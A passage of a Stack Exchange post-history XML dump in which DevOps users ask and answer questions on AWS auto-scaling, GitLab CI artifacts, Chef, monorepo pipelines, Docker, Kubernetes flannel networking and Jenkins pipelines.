[Packer](https://www.packer.io/). &#xD;&#xA;&#xD;&#xA;1. The app in your AMI should be configured to run on boot using a process supervisor (e.g., using [systemd](https://www.freedesktop.org/wiki/Software/systemd/) or [supervisord](http://supervisord.org/); this will also ensure the app is restarted automatically if it crashes. &#xD;&#xA;&#xD;&#xA;1. Every time you change something in your app, run a build process to create a new AMI, update the Launch Configuration to use this new AMI, and roll that AMI out across your ASG. For example, you could do a zero-downtime deployment (somewhat similar to a [blue-green deployment](https://martinfowler.com/bliki/BlueGreenDeployment.html)) by doubling the size of the ASG, waiting until all the new servers (from the updated Launch Configuration) launch and pass health checks, and then reducing the ASG back to its previous size (the ASG will terminate oldest instances by default). &#xD;&#xA;&#xD;&#xA;1. With an ASG, you have more than one server, but you want to give your users a single endpoint to use. The typical solution to this is to deploy a load balancer in front of the ASG. If you're building a typical HTTP/HTTPs app (e.g., just about all PHP apps), you'll want to use the [Application Load Balancer (ALB)](http://docs.aws.amazon.com/elasticloadbalancing/latest/application/introduction.html); if you're building an app that listens directly for TCP connections, you'll want the [Load Balancer Classic](http://docs.aws.amazon.com/elasticloadbalancing/latest/classic/introduction.html) or [Network Load Balancer](http://docs.aws.amazon.com/elasticloadbalancing/latest/network/introduction.html). Whichever load balancer you pick, AWS will create a domain name for it that you can use, and any requests you send to that domain name will be routed in round-robin fashion to different servers in your ASG. &#xD;&#xA;&#xD;&#xA;1. You should a) configure the load balancer to perform health checks on your app so that it only routes to healthy servers and b) configure your ASG to register all of its servers in the load balancer automatically and to use the load balancer for health checks.&#xD;&#xA;&#xD;&#xA;1. You can create [Auto Scaling Policies](http://docs.aws.amazon.com/autoscaling/latest/userguide/WhatIsAutoScaling.html) for the ALB that change the number of servers in your ASG depending on various CloudWatch metrics. For example, you could configure the ASG to add servers when average CPU usage is over 80% and to remove servers when CPU usage drops below 60%.&#xD;&#xA;&#xD;&#xA;For more info, check out [A Comprehensive Guide to Building a Scalable Web App on Amazon Web Services](https://www.airpair.com/aws/posts/building-a-scalable-web-app-on-amazon-web-services-p1)." ContentLicense="CC BY-SA 3.0" />
  <row Id="6685" PostHistoryTypeId="2" PostId="2131" RevisionGUID="49f6581c-fd74-4e28-9479-446026d26411" CreationDate="2017-09-24T21:26:05.840" UserId="4289" Text="This has been answered over on [SO][1] using a work around seeing as it doesn't seem possible according to the documents.&#xD;&#xA;&#xD;&#xA;Basically, this can be done in 3 stages.&#xD;&#xA;&#xD;&#xA;**Stage 1:** Build and store all artifacts.&#xD;&#xA;&#xD;&#xA;    build_stage:&#xD;&#xA;      script:&#xD;&#xA;        - build&#xD;&#xA;      artifacts:&#xD;&#xA;        paths:&#xD;&#xA;        - build/*.dmg&#xD;&#xA;        - build/test1&#xD;&#xA;        - build/test2&#xD;&#xA;        - build/test3&#xD;&#xA;        expire_in: 15 mins&#xD;&#xA;&#xD;&#xA;**Stage 2.1:** Do the next official stage of the job (ie run tests in my scenario) using the artifacts `build/test1, build/test2` and `build/test3`.&#xD;&#xA;&#xD;&#xA;    test_stage:&#xD;&#xA;      script:&#xD;&#xA;        - test&#xD;&#xA;      dependencies:&#xD;&#xA;      - build&#xD;&#xA;&#xD;&#xA;**Stage 2.2:** Running concurrently with Stage 2.1 you can just have an empty job but sets a new artifact expiry date.&#xD;&#xA;&#xD;&#xA;    overwrite_artifact_stage:&#xD;&#xA;      script:&#xD;&#xA;        - echo 'saving artifact'&#xD;&#xA;      artifacts:&#xD;&#xA;        paths:&#xD;&#xA;        - build/*.dmg&#xD;&#xA;        expire_in: 1 week&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/46241987/multiple-paths-with-different-expiry-time-in-gitlab-ci-runners" ContentLicense="CC BY-SA 3.0" />
  <row Id="6686" PostHistoryTypeId="2" PostId="2132" RevisionGUID="1b5d2c53-879d-45a5-9d17-30fbdc2d2b7e" CreationDate="2017-09-25T05:28:35.847" UserId="154" Text="The specifics depend on the exact use case. If the value is only used as a property on another resource, you would use the `lazy` helper method. If you don't need the output, you would use the `execute` resource. In some more complex cases you might use a `ruby_block` resource or write your own custom resource." ContentLicense="CC BY-SA 3.0" />
  <row Id="6687" PostHistoryTypeId="50" PostId="1592" RevisionGUID="fe70a6d9-bccc-4060-b2ec-bca7f50176e2" CreationDate="2017-09-25T09:19:01.153" UserId="-1" />
  <row Id="6688" PostHistoryTypeId="2" PostId="2133" RevisionGUID="0f6ca3f7-e97a-48ac-9785-0f823a743a3f" CreationDate="2017-09-25T11:47:43.480" UserId="210" Text="According to [this article][1] a monorepo contains different projects. What are best practices for triggering different pipelines?&#xD;&#xA;&#xD;&#xA;The current projects looks as follows:&#xD;&#xA;&#xD;&#xA;| projects |&#xD;&#xA;-----------------&#xD;&#xA;| a |&#xD;&#xA;-----&#xD;&#xA;| b | &#xD;&#xA;------&#xD;&#xA;| c |&#xD;&#xA;-----&#xD;&#xA;| d |&#xD;&#xA;-------&#xD;&#xA;| e |&#xD;&#xA;&#xD;&#xA;There are three different pipelines, i.e. x, y and z&#xD;&#xA;&#xD;&#xA;If a certain project inside the monorepo changes, different pipelines should be triggered, i.e.:&#xD;&#xA;&#xD;&#xA;a &gt; x&#xD;&#xA;&#xD;&#xA;b || c &gt; y&#xD;&#xA;&#xD;&#xA;d || e &gt; z&#xD;&#xA;&#xD;&#xA;How to achieve this? Most CI's are triggered by changes in a repository, e.g. one commits to a repo and a pipeline is triggered. There is a 1 on 1 relation. If this is translated to a monorepo that means that 1 change results in 3 pipeline triggers, while in some cases only 1 pipeline should be triggered.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developer.atlassian.com/blog/2015/10/monorepos-in-git/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6689" PostHistoryTypeId="1" PostId="2133" RevisionGUID="0f6ca3f7-e97a-48ac-9785-0f823a743a3f" CreationDate="2017-09-25T11:47:43.480" UserId="210" Text="What are best practices for creating and triggering various pipelines regards monorepos?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6690" PostHistoryTypeId="3" PostId="2133" RevisionGUID="0f6ca3f7-e97a-48ac-9785-0f823a743a3f" CreationDate="2017-09-25T11:47:43.480" UserId="210" Text="&lt;continuous-integration&gt;&lt;monorepo&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6691" PostHistoryTypeId="2" PostId="2134" RevisionGUID="d901a380-e324-47c8-bf6b-f35325bc0fa8" CreationDate="2017-09-25T11:48:46.660" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6692" PostHistoryTypeId="1" PostId="2134" RevisionGUID="d901a380-e324-47c8-bf6b-f35325bc0fa8" CreationDate="2017-09-25T11:48:46.660" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6693" PostHistoryTypeId="2" PostId="2135" RevisionGUID="5343bb9b-695e-46c0-a587-e3cc1a2d6b16" CreationDate="2017-09-25T11:48:46.660" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6694" PostHistoryTypeId="1" PostId="2135" RevisionGUID="5343bb9b-695e-46c0-a587-e3cc1a2d6b16" CreationDate="2017-09-25T11:48:46.660" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6695" PostHistoryTypeId="5" PostId="2133" RevisionGUID="f731df6b-bfb3-41c7-9eb1-dde8813819b9" CreationDate="2017-09-25T11:54:02.573" UserId="210" Comment="added 89 characters in body" Text="According to [this article][1] a monorepo contains different projects. What are best practices for triggering different pipelines?&#xD;&#xA;&#xD;&#xA;The current git repo contains the following projects:&#xD;&#xA;&#xD;&#xA;    ╔═════════════╗&#xD;&#xA;    ║ projects    ║&#xD;&#xA;    ╠═════════════╣&#xD;&#xA;    ║ A           ║&#xD;&#xA;    ║ B           ║&#xD;&#xA;    ║ C           ║&#xD;&#xA;    ║ D           ║&#xD;&#xA;    ║ E           ║&#xD;&#xA;    ╚═════════════╝&#xD;&#xA;&#xD;&#xA;There are three different pipelines, i.e. x, y and z&#xD;&#xA;&#xD;&#xA;If a certain project inside the monorepo changes, different pipelines should be triggered, i.e.:&#xD;&#xA;&#xD;&#xA;a &gt; x&#xD;&#xA;&#xD;&#xA;b || c &gt; y&#xD;&#xA;&#xD;&#xA;d || e &gt; z&#xD;&#xA;&#xD;&#xA;How to achieve this? Most CI's are triggered by changes in a repository, e.g. one commits to a repo and a pipeline is triggered. There is a 1 on 1 relation. If this is translated to a monorepo that means that 1 change results in 3 pipeline triggers, while in some cases only 1 pipeline should be triggered.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developer.atlassian.com/blog/2015/10/monorepos-in-git/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6696" PostHistoryTypeId="5" PostId="2133" RevisionGUID="6b684bd3-90aa-46f8-8c7b-b07dd126780f" CreationDate="2017-09-25T12:52:11.020" UserId="210" Comment="added 210 characters in body" Text="According to [this article][1] a monorepo contains different projects. What are best practices for triggering different pipelines?&#xD;&#xA;&#xD;&#xA;The current git repo contains the following projects:&#xD;&#xA;&#xD;&#xA;    ╔═════════════╗&#xD;&#xA;    ║ projects    ║&#xD;&#xA;    ╠═════════════╣&#xD;&#xA;    ║ A           ║&#xD;&#xA;    ║ B           ║&#xD;&#xA;    ║ C           ║&#xD;&#xA;    ║ D           ║&#xD;&#xA;    ║ E           ║&#xD;&#xA;    ╚═════════════╝&#xD;&#xA;&#xD;&#xA;There are three different pipelines, i.e. `x`, `y` and `z`&#xD;&#xA;&#xD;&#xA;If a certain project inside the monorepo changes, different pipelines should be triggered, i.e.:&#xD;&#xA;&#xD;&#xA;If a commit is done in folder `a` then pipeline `x` should be triggered (`a --&gt; x`).&#xD;&#xA;If a change occurs in directory `b` or `c` then pipeline `y` should be run (`b || c &gt; y`) and if either `d` or dir `e` changes then pipeline should start running (`d || e &gt; z`).&#xD;&#xA;&#xD;&#xA;How to achieve this? Most CI's are triggered by changes in a repository, e.g. one commits to a repo and a pipeline is triggered. There is a 1 on 1 relation. If this is translated to a monorepo that means that 1 change results in 3 pipeline triggers, while in some cases only 1 pipeline should be triggered.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developer.atlassian.com/blog/2015/10/monorepos-in-git/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6697" PostHistoryTypeId="2" PostId="2136" RevisionGUID="32f4acd4-203f-45b8-a272-15fedc69ae82" CreationDate="2017-09-25T13:32:54.053" UserId="4465" Text="Weird Docker. I changed the _WORKDIR_ in the _Dockerfile_ and it worked:&#xD;&#xA;&#xD;&#xA;    FROM postgres:9.6&#xD;&#xA;    &#xD;&#xA;    WORKDIR /builds/user/&#xD;&#xA;    ADD repo/script.sql /docker-entrypoint-initdb.d/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6698" PostHistoryTypeId="5" PostId="2136" RevisionGUID="1bac18e2-3502-459c-8ae0-29eff6813a79" CreationDate="2017-09-25T14:01:58.117" UserId="4465" Comment="Adding edited config.toml" Text="Weird Docker. I changed the _WORKDIR_ in the _Dockerfile_ and it worked:&#xD;&#xA;&#xD;&#xA;    FROM postgres:9.6&#xD;&#xA;    &#xD;&#xA;    WORKDIR /builds/user/&#xD;&#xA;    ADD repo/script.sql /docker-entrypoint-initdb.d/&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;The `/builds` folder does not exist on the host system. I thought that adding it to the runner's config would create a volume container that would be shared between containers. But no. So I removed it from the runner config, _/etc/gitlab-runner/config.toml_:&#xD;&#xA;&#xD;&#xA;    [[runners]]&#xD;&#xA;      name = &quot;My Docker Runner&quot;&#xD;&#xA;      url = &quot;http://host&quot;&#xD;&#xA;      token = &quot;xxxxxxxxxxxxxxxxxxxx&quot;&#xD;&#xA;      executor = &quot;docker&quot;&#xD;&#xA;      [runners.docker]&#xD;&#xA;        tls_verify = false&#xD;&#xA;        image = &quot;docker:latest&quot;&#xD;&#xA;        privileged = false&#xD;&#xA;        disable_cache = false&#xD;&#xA;        volumes = [&quot;/var/run/docker.sock:/var/run/docker.sock&quot;, &quot;/cache&quot;]&#xD;&#xA;      [runners.cache]&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6699" PostHistoryTypeId="2" PostId="2137" RevisionGUID="48b0ab20-14bc-4698-8647-1b261dee6d5c" CreationDate="2017-09-25T15:20:58.970" UserId="4328" Text="&gt; If this is translated to a monorepo that means that 1 change results&#xD;&#xA;&gt; in 3 pipeline triggers, while in some cases only 1 pipeline should be&#xD;&#xA;&gt; triggered.&#xD;&#xA;&#xD;&#xA;I would definitely take this point into further consideration. One of the most compelling reasons for using a monorepo is that it does not create a technical separation of projects. There is only a logical separation, with the only technical distinction possibly being your versioning (unless you have a universal version number). This means, that you have no 100% guarantee that any one project does not depend on another project. Because of this, your final pipeline at some point should include **all of the projects** within your repository. By doing so, you are guaranteeing that a change to one project does not negatively impact any other projects in your repository (at the cost of the project with the longest time to build, publish, etc.). &#xD;&#xA;&#xD;&#xA;That being said, if there are some steps in your pipeline that you would like to run separately (lint, syntax, compile, etc.), most CI's should have a way to filter your repo for a specific folder/project. If it doesn't, and you still don't want to run against all projects, you may need to consider refactoring your repository into [seperate repos][1] or changing CI tools to comply with your workflow. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://puppet.com/blog/refactor-your-monolithic-code-repo-to-deploy-r10k" ContentLicense="CC BY-SA 3.0" />
  <row Id="6700" PostHistoryTypeId="5" PostId="1285" RevisionGUID="087ba0a1-e60b-4bf5-a13c-18cb8c67b893" CreationDate="2017-09-25T20:49:55.717" UserId="960" Comment="fix a typo I just noticed" Text="https://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html lists the schema for (I believe) all of the ARNs that Amazon supports.  Text in italic red indicates where you should substitute in your own value, rather than the literal string, and there are examples in each section to help figure this out.&#xD;&#xA;&#xD;&#xA;Be warned that IAM is less usefully restrictive than it appears on first glance.  To start with, most services [have only partial IAM support](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_aws-services-that-work-with-iam.html).  Secondly, often the things that are supported at a resource level are supported only in very specific ways; for instance, granting all permissions on a subnet ARN does not grant the attached users the ability to fully manage instances in that subnet, as [`AttachVolume` only supports restricting by volume id](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html), etc.  Thirdly, if the users are going to use the Amazon web console at all, they must have broad viewing permissions, as the console was not written with PoLP in mind and issues non-resource-restricted API calls (and often merely dumps errors in the javascript console!)." ContentLicense="CC BY-SA 3.0" />
  <row Id="6706" PostHistoryTypeId="2" PostId="2139" RevisionGUID="bd1c46bc-3883-4979-8a90-ba1805e8a67e" CreationDate="2017-09-26T07:57:48.133" UserId="2603" Text="Flannel running in a pod is getting the wrong subnet and networking is just not happy, the symptom is flannel is being assigned /24's from the 10.105.0.0/16. it should be assigning /26's from 10.105.5.128/21. Thanks for any help.  &#xD;&#xA;&#xD;&#xA;here are the details:&#xD;&#xA; &#xD;&#xA;    /usr/bin/kubeadm init \&#xD;&#xA;    --kubernetes-version v1.7.5 \&#xD;&#xA;    --pod-network-cidr 10.105.5.128/21 \&#xD;&#xA;    --service-cidr 10.105.5.136/21 \&#xD;&#xA;    --token XXXXXXXXXXX&#xD;&#xA;&#xD;&#xA;kube-flannel-rbac.yml is loaded after kube-flannel.yml&#xD;&#xA;only modified bit(SubenetLen and Network) from kube-flannel.yml:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;Network&quot;: &quot;10.105.5.128/21&quot;,&#xD;&#xA;      &quot;SubnetLen&quot;: 26,&#xD;&#xA;      &quot;Backend&quot;: {&#xD;&#xA;        &quot;Type&quot;: &quot;vxlan&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;DNS is set in the systemd file to:&#xD;&#xA;&#xD;&#xA;    --cluster-dns=10.105.5.136.10&#xD;&#xA;&#xD;&#xA;Using Ubuntu 16.04 LTS and stock kernel&#xD;&#xA;&#xD;&#xA;here is the docker daemon.json file:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;    &quot;hosts&quot;:[&#xD;&#xA;        &quot;fd://&quot;,&#xD;&#xA;        &quot;0.0.0.0&quot;&#xD;&#xA;    ],&#xD;&#xA;    &quot;ip-masq&quot;:false,&#xD;&#xA;        &quot;experimental&quot;: true,&#xD;&#xA;    &quot;registry-mirrors&quot;: [&#xD;&#xA;        &quot;http://hub.xyz.com&quot;&#xD;&#xA;    ],&#xD;&#xA;    &quot;insecure-registries&quot;: [&#xD;&#xA;	    &quot;http://hub.xyz.com&quot;&#xD;&#xA;    ],&#xD;&#xA;    &quot;tls&quot;: true,&#xD;&#xA;    &quot;tlsverify&quot;: true,&#xD;&#xA;    &quot;tlscacert&quot;:&quot;/etc/docker/ca.pem&quot;,&#xD;&#xA;    &quot;tlscert&quot;:&quot;/etc/docker/cert.pem&quot;,&#xD;&#xA;    &quot;tlskey&quot;:&quot;/etc/docker/key.pem&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;all kuberentes components are 1.7.5 installed from ubuntu k8s repos&#xD;&#xA;&#xD;&#xA;here is the log of the kube-flannel container: &#xD;&#xA;&#xD;&#xA;    I0926 03:29:10.214198      89 main.go:446] Determining IP address of default interface&#xD;&#xA;    I0926 03:29:10.216166      89 main.go:459] Using interface with name eth0 and address 10.105.5.12&#xD;&#xA;    I0926 03:29:10.216261      89 main.go:476] Defaulting external address to interface address (10.105.5.12)&#xD;&#xA;    I0926 03:29:10.242216      89 kube.go:283] Starting kube subnet manager&#xD;&#xA;    I0926 03:29:10.242055      89 kube.go:130] Waiting 10m0s for node controller to sync&#xD;&#xA;    I0926 03:29:11.242864      89 kube.go:137] Node controller sync successful&#xD;&#xA;    I0926 03:29:11.242957      89 main.go:226] Created subnet manager: Kubernetes Subnet Manager - kube-m2.XXXXX.com&#xD;&#xA;    I0926 03:29:11.242969      89 main.go:229] Installing signal handlers&#xD;&#xA;    I0926 03:29:11.243984      89 main.go:330] Found network config - Backend type: vxlan&#xD;&#xA;    I0926 03:29:11.288902      89 ipmasq.go:51] Adding iptables rule: -s 10.105.0.0/21 -d 10.105.0.0/21 -j RETURN&#xD;&#xA;    I0926 03:29:11.306692      89 ipmasq.go:51] Adding iptables rule: -s 10.105.0.0/21 ! -d 224.0.0.0/4 -j MASQUERADE&#xD;&#xA;    I0926 03:29:11.314413      89 ipmasq.go:51] Adding iptables rule: ! -s 10.105.0.0/21 -d 10.105.0.0/24 -j RETURN&#xD;&#xA;    I0926 03:29:11.323229      89 ipmasq.go:51] Adding iptables rule: ! -s 10.105.0.0/21 -d 10.105.0.0/21 -j MASQUERADE&#xD;&#xA;    I0926 03:29:11.329676      89 main.go:279] Wrote subnet file to /run/flannel/subnet.env&#xD;&#xA;    I0926 03:29:11.329746      89 main.go:284] Finished starting backend.&#xD;&#xA;    I0926 03:29:11.329829      89 vxlan_network.go:56] Watching for L3 misses&#xD;&#xA;    I0926 03:29:11.329903      89 vxlan_network.go:64] Watching for new subnet leases" ContentLicense="CC BY-SA 3.0" />
  <row Id="6707" PostHistoryTypeId="1" PostId="2139" RevisionGUID="bd1c46bc-3883-4979-8a90-ba1805e8a67e" CreationDate="2017-09-26T07:57:48.133" UserId="2603" Text="Kubernetes flannel pod getting the wrong network" ContentLicense="CC BY-SA 3.0" />
  <row Id="6708" PostHistoryTypeId="3" PostId="2139" RevisionGUID="bd1c46bc-3883-4979-8a90-ba1805e8a67e" CreationDate="2017-09-26T07:57:48.133" UserId="2603" Text="&lt;docker&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6709" PostHistoryTypeId="2" PostId="2140" RevisionGUID="d7951e81-ea33-4cdb-93fd-bd526e109174" CreationDate="2017-09-26T08:05:37.397" UserId="13" Text="You have either a bad understanding or misconception about how a cidr works.&#xD;&#xA;&#xD;&#xA;10.105.5.128/21 is just one address in the range 10.105.0.0 - 10.105.7.255.  &#xD;&#xA;So either your cidr bits are not the one you're expecting, 10.105.5.128/26 would be a valid network definition, but that's a /26 subnet within the 10.105.0.0/21.&#xD;&#xA;&#xD;&#xA;You can check those division on [this very helping site](http://www.davidc.net/sites/default/subnets/subnets.html?network=10.105.0.0&amp;mask=21&amp;division=11.da0) (the link already use your networks above." ContentLicense="CC BY-SA 3.0" />
  <row Id="6710" PostHistoryTypeId="2" PostId="2141" RevisionGUID="34a2d38f-649a-41e2-89b3-3a2810e4c2c4" CreationDate="2017-09-26T08:24:58.670" UserId="13" Text="I'd go with [`node.run_state`][1] to store a transient variable in a run and define it in a [`ruby_block`][2] so it happens at converge time, something like this:&#xD;&#xA;&#xD;&#xA;    yum_package 'somepackage'&#xD;&#xA;    &#xD;&#xA;    ruby_block 'set myvar' do&#xD;&#xA;      block do&#xD;&#xA;        node.run_state['my_var'] = Mixlib::ShellOut.new('/bin/somecommand').run_command.stdout.strip&#xD;&#xA;      end&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;As far as I know requiring 'mixlib/shellout' is not necessary.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.chef.io/recipes.html#node-run-state&#xD;&#xA;  [2]: https://docs.chef.io/resource_ruby_block.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="6714" PostHistoryTypeId="2" PostId="2142" RevisionGUID="0fd8b43c-150e-4406-bf65-bbdd670befc3" CreationDate="2017-09-26T11:33:36.530" UserId="4252" Text="Developers (and usually development managers) usually look for two outcomes associated with framework: ease of management, and speed of deployment.  You want to ship code faster, and easier.&#xD;&#xA;&#xD;&#xA;Provide evidence that the approach works; try building a small POC using feature flags versus the old way.  Case studies matter less to tactical people (developers\engineers) than strategic people (middle management\product designers).&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6715" PostHistoryTypeId="5" PostId="2140" RevisionGUID="64b14f6d-1e22-4453-9bad-c1742a702696" CreationDate="2017-09-26T11:43:59.927" UserId="13" Comment="added 50 characters in body" Text="You have either a bad understanding or misconception about how a cidr works.&#xD;&#xA;&#xD;&#xA;10.105.5.128/21 is just one address in the range 10.105.0.0 - 10.105.7.255.  &#xD;&#xA;So either your cidr bits are not the one you're expecting, 10.105.5.128/26 would be a valid network definition but that's a /26 subnet within the 10.105.0.0/21, or you're not using the proper network definition.&#xD;&#xA;&#xD;&#xA;You can check those division on [this very helping site](http://www.davidc.net/sites/default/subnets/subnets.html?network=10.105.0.0&amp;mask=21&amp;division=11.da0) (the link already use your networks above." ContentLicense="CC BY-SA 3.0" />
  <row Id="6716" PostHistoryTypeId="2" PostId="2143" RevisionGUID="9f1aa768-61d0-4d9b-82b9-508e86ee07fd" CreationDate="2017-09-26T14:23:52.503" UserId="210" Text="It seems that the syntax that is used in the pipeline plugin is incompatible with Blueocean. It looks like that the syntax is different as blueocean uses a declarative pipeline." ContentLicense="CC BY-SA 3.0" />
  <row Id="6717" PostHistoryTypeId="1" PostId="2143" RevisionGUID="9f1aa768-61d0-4d9b-82b9-508e86ee07fd" CreationDate="2017-09-26T14:23:52.503" UserId="210" Text="How to publish a docker image to a private docker registry using Jenkins' blueocean?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6718" PostHistoryTypeId="3" PostId="2143" RevisionGUID="9f1aa768-61d0-4d9b-82b9-508e86ee07fd" CreationDate="2017-09-26T14:23:52.503" UserId="210" Text="&lt;jenkins-blueocean&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6719" PostHistoryTypeId="2" PostId="2144" RevisionGUID="1b55e465-6077-4df7-a770-c912d54689bc" CreationDate="2017-09-26T14:24:48.963" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6720" PostHistoryTypeId="1" PostId="2144" RevisionGUID="1b55e465-6077-4df7-a770-c912d54689bc" CreationDate="2017-09-26T14:24:48.963" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6721" PostHistoryTypeId="2" PostId="2145" RevisionGUID="a0acd658-b3a1-4ac5-9385-4cafc75c9c29" CreationDate="2017-09-26T14:24:48.963" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6722" PostHistoryTypeId="1" PostId="2145" RevisionGUID="a0acd658-b3a1-4ac5-9385-4cafc75c9c29" CreationDate="2017-09-26T14:24:48.963" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6723" PostHistoryTypeId="2" PostId="2146" RevisionGUID="95f4d263-4568-46c8-a65b-5a56e3d1b76e" CreationDate="2017-09-26T14:28:30.417" UserId="210" Text="At the moment I am editing a Jenkinsfile and then let it run unless Jenkins reports a issue. This approach costs a lot of time. I prefer to validate the syntax before committing the Jenkinsfile. Is there a tool that solves this issue?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6724" PostHistoryTypeId="1" PostId="2146" RevisionGUID="95f4d263-4568-46c8-a65b-5a56e3d1b76e" CreationDate="2017-09-26T14:28:30.417" UserId="210" Text="Is there a tool that makes it possible to validate Jenkinsfiles online?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6725" PostHistoryTypeId="3" PostId="2146" RevisionGUID="95f4d263-4568-46c8-a65b-5a56e3d1b76e" CreationDate="2017-09-26T14:28:30.417" UserId="210" Text="&lt;jenkins-blueocean&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6726" PostHistoryTypeId="2" PostId="2147" RevisionGUID="36d6ee58-7989-43e7-83a6-c438611c72bc" CreationDate="2017-09-26T14:34:30.037" UserId="210" Text="According to [this github repo][1] it is possible to test the Jenkinsfile, but this is run by Jenkins and if there are issues it will not run. Should one run such unit test in another CI? What are best practices to solve this issue?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/lesfurets/JenkinsPipelineUnit" ContentLicense="CC BY-SA 3.0" />
  <row Id="6727" PostHistoryTypeId="1" PostId="2147" RevisionGUID="36d6ee58-7989-43e7-83a6-c438611c72bc" CreationDate="2017-09-26T14:34:30.037" UserId="210" Text="What are best practices for running Pipeline tests into a CI framework?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6728" PostHistoryTypeId="3" PostId="2147" RevisionGUID="36d6ee58-7989-43e7-83a6-c438611c72bc" CreationDate="2017-09-26T14:34:30.037" UserId="210" Text="&lt;jenkins-pipeline&gt;&lt;testing&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6729" PostHistoryTypeId="5" PostId="2143" RevisionGUID="47c01ed0-daf5-40f9-a3f6-3ff03ba05803" CreationDate="2017-09-26T14:49:01.333" UserId="210" Comment="added 1235 characters in body" Text="It seems that the syntax that is used in the pipeline plugin is incompatible with Blueocean. It looks like that the syntax is different as blueocean uses a declarative pipeline.&#xD;&#xA;&#xD;&#xA;Example&#xD;&#xA;&#xD;&#xA;http://fishi.devtail.io/weblog/2016/11/20/docker-build-pipeline-as-code-jenkins/&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;      stage ('Docker Build') {&#xD;&#xA;        // prepare docker build context&#xD;&#xA;        sh &quot;cp target/project.war ./tmp-docker-build-context&quot;&#xD;&#xA;    &#xD;&#xA;        // Build and push image with Jenkins' docker-plugin&#xD;&#xA;        withDockerServer([uri: &quot;tcp://&lt;my-docker-socket&gt;&quot;]) {&#xD;&#xA;          withDockerRegistry([credentialsId: 'docker-registry-credentials', url: &quot;https://&lt;my-docker-registry&gt;/&quot;]) {&#xD;&#xA;            // we give the image the same version as the .war package&#xD;&#xA;            def image = docker.build(&quot;&lt;myDockerRegistry&gt;/&lt;myDockerProjectRepo&gt;:${branchVersion}&quot;, &quot;--build-arg PACKAGE_VERSION=${branchVersion} ./tmp-docker-build-context&quot;)&#xD;&#xA;            image.push()&#xD;&#xA;          }   &#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;results in:&#xD;&#xA;&#xD;&#xA;    WorkflowScript: 5: Unknown stage section &quot;sh&quot;. Starting with version 0.5, steps in a stage must be in a steps block. @ line 5, column 1.&#xD;&#xA;       stage ('Docker Build') {&#xD;&#xA;       ^&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Attempt to solve the issue&#xD;&#xA;&#xD;&#xA;When a steps block was added the pipeline failed again:&#xD;&#xA;&#xD;&#xA;    WorkflowScript: 13: Method calls on objects not allowed outside &quot;script&quot; blocks. @ line 13, column 13.&#xD;&#xA;                   docker.withRegistry" ContentLicense="CC BY-SA 3.0" />
  <row Id="6730" PostHistoryTypeId="2" PostId="2148" RevisionGUID="e7a890aa-f5b3-4f81-9127-c53ed4a94466" CreationDate="2017-09-26T14:50:55.053" UserId="4328" Text="Here is some documentation on the Jenkins pipeline linter. Do you need to validate **before** a commit? If not, it would be really trivial to run the linting command prior to your pipeline running, and simply fail if it does not pass. &#xD;&#xA;&#xD;&#xA;https://jenkins.io/doc/book/pipeline/development/#linter" ContentLicense="CC BY-SA 3.0" />
  <row Id="6731" PostHistoryTypeId="2" PostId="2149" RevisionGUID="a67d5eea-ead2-40db-af76-78c394a2ce50" CreationDate="2017-09-26T15:10:16.087" UserId="4403" Text="We have several billing enabled projects in our GCP account and each of them has several Compute Engine Instances. I want to remove non-critical instances just to reduce the unnecessary billing. But before I do that, I need to know which instance is being used for what and for that I need to know which user created it in the first place.&#xD;&#xA;&#xD;&#xA;How do I get to know the creator of each instance either by using `Google Cloud Shell` or `Google Cloud Console`?" ContentLicense="CC BY-SA 3.0" />
